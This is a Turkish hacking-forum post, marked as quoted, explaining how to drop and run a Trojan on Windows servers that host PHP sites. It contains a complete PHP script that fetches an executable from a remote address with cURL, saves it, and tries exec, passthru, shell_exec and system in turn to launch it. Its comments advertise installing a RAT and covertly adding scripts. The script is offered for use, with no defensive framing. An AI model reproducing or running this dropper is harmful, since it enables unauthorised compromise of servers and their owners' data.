Alıntıdır !
Alıntıdır !
Alıntıdır !
cURL ile Windows Server Bypass
Evet Arkadaşlar geçen kodladığım bu script ile windows serverlere nasıl Trojan atacağımızı anlatacağım.Windows servere php kurulu olan bir siteye exe dosyamızı çektiriyoruz ve scriptimiz otomatik tüm fonksiyonlarla açmaya çalışıyor ve Trojanımızı yedirmiş oluyoruz.
Sonra ise kayıt ediyoruz bu sayfayı ve yan sekmede açtımızda server’e Trojanımız inmiş ve açılmış oluyor.
Sağlıcakla kalın
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<?php
/*
Created By Antidote
---------------
Example
---------------
What Processes Can Be Done.
---------------
1-) Windows Server RAT down open
2-) secretly adding a script, you can :)
---------------
Good Enjoy
--------------
twitter=@coderantidote
/////
spycod3.org | hackunity.com
*/
error_reporting(0);
function down($adres,$ad)
{
$ch = curl_init("$adres");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
$islem = fopen("$ad", "a+");
fwrite($islem, $data);
fclose($islem);
if ($islem) {
define('SITE_ROOT', dirname(__FILE__));
$dosyayolu = SITE_ROOT . "/"."$ad";
if(function_exists('exec')) {
exec("$ad", $cikti);
}elseif(function_exists('passthru')) {
passthru("$ad");
}elseif(function_exists('shell_exec')) {
shell_exec("$ad");
}elseif(function_exists('system')) {
system("$ad", $cikti);
}else{
unlink("$ad");
}
}
}
down('http://121.1.1/down.exe','x.exe'); // down(remotehostdown,Savefilename)
?>
|